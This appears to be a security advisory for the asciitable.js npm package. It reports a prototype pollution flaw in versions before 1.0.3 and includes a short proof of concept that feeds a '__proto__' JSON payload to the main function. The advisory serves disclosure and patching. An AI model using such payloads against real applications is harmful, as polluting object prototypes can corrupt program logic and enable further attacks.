Affected versions
- Affected versions
- < 1.0.3
- Fixed version
- 1.0.3
Exploitation
Description
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
Links
Credits
- tdunlap607

